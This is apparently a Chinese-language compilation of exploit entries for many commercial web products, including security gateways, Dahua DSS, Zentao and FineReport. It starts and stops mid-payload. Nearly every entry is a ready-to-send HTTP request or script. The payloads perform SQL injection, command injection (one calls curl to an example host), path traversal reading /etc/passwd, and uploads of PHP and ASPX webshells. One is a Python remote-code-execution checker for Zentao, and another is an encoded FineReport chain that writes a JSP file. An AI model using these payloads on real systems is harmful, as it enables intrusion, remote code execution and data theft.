limit=20&mid=-1%20OR%203*2*1=6%20AND%20000322=000322&order=desc&request=watch&sor
t=Id&view=request
/zm/index.php?
sort=**if(now()=sysdate()%2Csleep(6)%2C0)**&order=desc&limit=20&view=request&requ
est=watch&mid=1
```

飞企互联

飞企互联loginService任意登录

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/loginService.fe?op=D
- 漏洞详情：

```
/loginService.fe?op=D
```

艾兰得

某业务管理系统LoginUser存在信息泄露漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/Login/LoginUser
- 漏洞详情：

```
POST /Login/LoginUser HTTP/1.1
Host: your-ip
Content-Length: 79
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/125.0.6422.60 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"RecordID":"admin","password":"11111","undefined":"登录","language":"zh-CN"}
```

安恒

安恒明御安全网关远程命令执行漏洞

- 漏洞类型：nday - 未知
- 涉及版本：未知
- 利用路径：/webui/
- 漏洞详情：

```
GET /webui/?g=aaa_portal_auth_config_reset&type=echo '<?php echo
"assdwdmpidmsbzoabahpjhnokiduw"; phpinfo(); ?>' >> /usr/local/webui/txzfsrur.php
```

安恒明御安全网关rce

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/webui/?g=aaa_portal_auth_local_submit
- 漏洞详情：

```
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"
<%3fphpteval(\$_POST[\"a\"]) ;?>"+>+.xxx.php HTTP/1.1
Host: xxx
Cookie: USGSESSID=495b895ddd42b82cd89a29f241825081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Sec-Fetch-User: ?1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q
=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

安恒-下一代防火墙-RCE

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=
- 漏洞详情：

```
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%60id+%3E/usr/local/webui/frrgkquigh.txt%60 HTTP/1.1
Host: xx.xx.xx.xx:9099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
```

安美

安美数字酒店宽带运营系统weather.php任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/user/weather.php
- 漏洞详情：

```
GET /user/weather.php?Lang=../../../etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
```

安校易

智慧校园(安校易)管理系统FileUpAd.aspx存在文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/Module/FileUpPage/FileUpAd.aspx
- 漏洞详情：

```
POST /Module/FileUpPage/FileUpAd.aspx?file_tmid=upload HTTP/1.1
Host:
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101
Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close

------21909179191068471382830692394
Content-Disposition: form-data; name="File"; filename="asd.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new
System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.Re
directStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments=
"/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();R
esponse.Write(out.ReadToEnd() +
EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------21909179191068471382830692394--
```

奥威亚

奥威亚云视频平台UploadFile.aspx存在文件上传漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/Services/WeikeCutOut/UploadFile.aspx
- 漏洞详情：

```
POST /Services/WeikeCutOut/UploadFile.aspx?VideoGuid=/../../ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/113.0.5666.197 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----sajhdjqwjejqwbejhqwbjebqwhje
------sajhdjqwjejqwbejhqwbjebqwhje
Content-Disposition: form-data; name="file"; filename="shell.aspx."
Content-Type: image/jpeg
1111
------sajhdjqwjejqwbejhqwbjebqwhje-
```

百易云

百易云-资产管理运营系统-任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/comfileup.php
- 漏洞详情：

```
POST /comfileup.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101 Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------1110146050

----------1110146050
Content-Disposition: form-data; name="file";filename="rce.php"

<?php system("whoami");unlink(__FILE__);?>
----------1110146050--
```

邦永

邦永PM2项目管理平台系统ExcelIn.aspx存在任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/FlowChartDefine/ExcelIn.aspx
- 漏洞详情：

```
POST /FlowChartDefine/ExcelIn.aspx HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAU4uQKbpWhA7eME3
Cookie: ASP.NET_SessionId=oewffeov54f2dfj3iyz2u1qp
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
```

```
Content-Length: 1470

------WebKitFormBoundaryAU4uQKbpWhA7eME3
Content-Disposition: form-data; name="__VIEWSTATE"

U6iRl9SqWWlhjIPJXIeFrsinqYAmYxenxFiyfWFMfWgnw3OtkceDLcdfRvB8pmUNGk44PvjZ6LlzPwDbJ
GmilsmhuX9LvOiuKadYa9iDdSipLW5JvUHjS89aGzKqr9fhih+p+/Mm+q2vrknhfEJJnQ==
------WebKitFormBoundaryAU4uQKbpWhA7eME3
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

FD259C0F
------WebKitFormBoundaryAU4uQKbpWhA7eME3
Content-Disposition: form-data; name="__EVENTVALIDATION"

/pKblUYGQ+ibKtw4CCS2wzX+lmZIOB+x5ezYw0qJFbaUifUKlxNNRMKceZYgY/eAUUTaxe0gSvyv/oA8l
US7G7jPVqqrMEzYBVBl8dRkFWFwMqqjv1G9gXM/ZnIpnVSL
------WebKitFormBoundaryAU4uQKbpWhA7eME3
Content-Disposition: form-data; name="FileUpload1"; filename="1234.zip"
Content-Type: application/x-zip-compressed

{{unquote("PK\x03\x04\x14\x00\x01\x00\x00\x00\xefl\xfaX\x1c:\xf5\xcb\x11\x00\x00\
x00\x05\x00\x00\x00\x08\x00\x00\x001234.txt\xb0\x0c\x01\x08\xd1!\xd1Uv
\xfal\x9b\xf4Q\xfd\xf8PK\x01\x02?
\x00\x14\x00\x01\x00\x00\x00\xefl\xfaX\x1c:\xf5\xcb\x11\x00\x00\x00\x05\x00\x00\x
00\x08\x00$\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x001234.txt\x0a\x00
\x00\x00\x00\x00\x00\x01\x00\x18\x00\x05\x8d\x9d.\x1e\xdf\xda\x01\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x0
0\x01\x00Z\x00\x00\x007\x00\x00\x00\x00\x00")}}
------WebKitFormBoundaryAU4uQKbpWhA7eME3
Content-Disposition: form-data; name="Button1"

模块导入
------WebKitFormBoundaryAU4uQKbpWhA7eME3--
```

宝兰德

宝兰德 BES 中间件 远程代码执行漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/BesEJB/spark
- 漏洞详情：

```
POST /BesEJB/spark HTTP/1.1
Host:

恶意序列化数据
```

北京筑业

北京筑业建设工程资料同步跟踪检查与流转交互云平台密码重置

- 漏洞类型：1day - 密码重置
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

碧海威

碧海威 L7 云路由无线运营版 confirm.php/jumper.php 命令注入漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/notice/jumper.php
- 漏洞详情：

```
GET /notice/jumper.php?t=;curl%20http%3A%2F%2Fexample%2Ecom%2F
HTTP/1.1
```

喰星云

喰星云·数字化餐饮服务系统not_out_depot存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/logistics/home_warning/php/not_out_depot.php
- 漏洞详情：

```
GET /logistics/home_warning/php/not_out_depot.php?do=getList&lsid= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

喰星云-数字化餐饮服务系统not_finish.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/logistics/home_warning/php/not_finish.php
- 漏洞详情：

```
GET /logistics/home_warning/php/not_finish.php?do=getList&lsid=(SELECT+
(CASE+WHEN+(6192=6193)+THEN+''+ELSE+(SELECT+9641+UNION+SELECT+2384)+END))
HTTP/1.1
Host: {{Hostname}}
```

喰星云-数字化餐饮服务系统shelflife.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/logistics/home_warning/php/shelflife.php
- 漏洞详情：

```
GET /logistics/home_warning/php/shelflife.php?do=getList&lsid=(SELECT+(CASE+WHEN+
(6191=6193)+THEN+%27%27+ELSE+(SELECT+9641+UNION+SELECT+2384)+END)) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
```

喰星云-数字化餐饮服务系统stock.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/logistics/home_warning/php/stock.php
- 漏洞详情：

```
GET /logistics/home_warning/php/stock.php?do=getList&lsid=(SELECT+(CASE+WHEN+
(6191=6193)+THEN+%27%27+ELSE+(SELECT+9641+UNION+SELECT+2384)+END)) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
```

禅道

禅道研发项目管理系统未授权

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/misc-captcha-user.html
- 漏洞详情：

```
import requests

def check(url):
    url1 = url+'/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }

    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
    }

    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 = 'SCM=Subversion&client=`id`'
    s=requests.session()
    try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        if 'uid=' in req4.text:
            print(url,"")
            return True
    except Exception as e:
        print(e)
    return False
if __name__ == '__main__':
    print(check("http://x.x.x.x/zentao/"))
```

超级猫

超级猫签名APP分发平台前台存在SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/user/install/downfile_ios
- 漏洞详情：

```
GET /user/install/downfile_ios?id=') UNION ALL SELECT NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 127.0.0.1:81
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
```

超级猫签名APP分发平台前台远程文件写入漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/user/profile/download
- 漏洞详情：

```
/user/profile/download?url=http://云服务器地址/111.php&path=1
```

驰骋

驰骋BPM RunSQL_Init SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/WF/Comm/Handler.ashx
- 漏洞详情：

```
POST /WF/Comm/Handler.ashx?DoType=RunSQL_Init HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----123128312312389898yd98ays98d

------123128312312389898yd98ays98d
Content-Disposition: form-data; name="SQL"

SELECT No,Pass FROM Port_Emp
------123128312312389898yd98ays98d--
```

创客

创客13星零售商城系统前台任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/Login/shangchuan
- 漏洞详情：

```
POST /Login/shangchuan HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryBP56KuZOdlY4nLGg
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/Login/shangchuan
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/126.0.0.0 Safari/537.36
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1

------WebKitFormBoundaryO3rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryO3rNBzFMIytvpWhy--
```

大华

大华DSS系统group_saveGroup存在SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/emap/group_saveGroup
- 漏洞详情：

```
GET /emap/group_saveGroup?groupName=1'%20and%202333=2333%20and%20'hami'='hami&groupDesc=1 HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
```

大华智慧综合管理园区 文件上传漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/emap/webservice/gis/soap/bitmap
- 漏洞详情：

```
POST /emap/webservice/gis/soap/bitmap HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Length: 862
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:res="http://response.webservice.bitmap.mapbiz.emap.dahuatech.com/">
<soapenv:Header/>
<soapenv:Body>
<res:uploadPicFile>
<arg0>
<picPath>/../test.jsp</picPath>
</arg0>
<arg1>JSP 的 base64 编码</arg1>
</res:uploadPicFile>
</soapenv:Body>
</soapenv:Envelope>
```

刀客

APP分发签名系统index-uplog.php存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/source/pack/upload/2upload/index-uplog.php
- 漏洞详情：

```
POST /source/pack/upload/2upload/index-uplog.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 290
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfF7NbGp0PAFq8Mkd
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/source/pack/upload/2upload/index-uplog.php
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1

------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="time"

1-2
------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="app"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--
```

点企来

点企来客服系统getwaitnum存在sql注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/admin/event/getwaitnum
- 漏洞详情：

```
POST /admin/event/getwaitnum HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: keep-alive
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br

business_id[]=exp&business_id[]=+and+updatexml(1,concat(0x7e,md5(0x5c)),1)&groupi
d=1
```

东华

东华医疗协同办公系统templateFile存在任意文件下载漏洞

- 漏洞类型：nday - 任意文件下载
- 涉及版本：未知
- 利用路径：/common/templateFile
- 漏洞详情：

```
GET /common/templateFile?template_name=../../WEB-INF/web.xml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

帆软

帆软FineReport全版本被曝viewReportSever 0day注入

- 漏洞类型：1day - SQL注入
- 涉及版本：全版本
- 利用路径：/webroot/decision/view/ReportSever?test=&n=
- 漏洞详情：

```
GET /webroot/decision/view/ReportServer?
test=sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
```

```
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss&n=${_
_fr_locale__=sql('FRDemo',DECODE('%ef%bb%bf%61%74%74%61%63%68%0C%64%61%74%61%62%6
1%73%65%20%27%2F%68%6F%6D%65%2F%46%44%4C%2F%74%6F%6D%63%61%74%2D%6C%69%6E%75%78%2
F%77%65%62%61%70%70%73%2F%77%65%62%72%6F%6F%74%2F%68%65%6C%70%2F%74%31%36%32%36%3
5%39%34%2E%6A%73%70%27%20%61%73%20%27%74%31%36%32%36%35%39%34%27%3B'),1,1)}${__fr
_locale__=sql('FRDemo',DECODE('%ef%bb%bf%63%72%65%61%74%65%0C%74%61%62%6C%65%20%7
4%31%36%32%36%35%39%34%2E%74%74%28%64%61%74%61%7A%20%74%65%78%74%29%3B'),1,1)}${_
_fr_locale__=sql('FRDemo',DECODE('%ef%bb%bf%49%4E%53%45%52%54%0C%69%6E%74%6F%20%7
4%31%36%32%36%35%39%34%2E%74%74%28%64%61%74%61%7A%29%20%56%41%4C%55%45%53%20%28%2
7%3C%25%43%6C%61%73%73%20%73%61%66%65%20%3D%20%43%6C%61%73%73%2E%66%6F%72%4E%61%6
